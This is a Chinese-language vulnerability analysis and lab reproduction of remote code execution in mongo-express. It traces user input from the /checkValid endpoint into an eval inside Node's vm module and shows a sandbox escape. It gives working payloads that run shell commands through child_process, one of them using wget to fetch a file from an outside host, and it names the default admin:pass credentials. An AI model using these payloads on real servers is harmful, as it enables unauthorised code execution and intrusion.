Mongo-express
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。
思路
首先找到从外界输入的点
const router = function (config) {
// 省略其他无关代码
const appRouter = express.Router();
appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);
return appRouter;
}
var routes = function (config) {
// 省略其他无关代码
var exp = {
};
exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson.toBSON(doc);
} catch (err) {
console.error(err);
return res.send('Invalid');
}
res.send('Valid');
};
return exp;
}
这里从POST 请求中读取 document 并作为参数继续调用bson.toBSON(doc);
var mongodb = require('mongodb');
var vm = require('vm');
var json = require('./json');
// 省略一些无关代码
//JSON.parse doesn't support BSON data types
//Document is evaluated in a vm in order to support BSON data types
//Sandbox contains BSON data type functions from node-mongodb-native
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
vm.runInNewContext('doc = eval((' + string + '));', sandbox);
return sandbox.doc;
};
// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {
try {
var bsonObject = exports.toBSON(string);
return bsonObject;
} catch (err) {
return null;
}
};
这里出现VM沙盒逃逸()
const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');
在这里用户输入的语句最终会被拼接上 eval,所以这里很容易就能导致 RCE。
整体的思路
1.从 /checkValid 可以接收用户的输入,并将其作为参数调用存在漏洞的 bson.toBSON 函数
2.bson.toBSON 使用了不安全的 vm 模块来执行用户输入的代码
3.恶意代码在执行时成功沙盒逃逸,任意代码执行
漏洞复现
进行命令执行
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
后台查看,执行成功
尝试反弹shell
尝试远程下载文件。
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://vulhub.yster.live/index.html -o /tmp/index.html")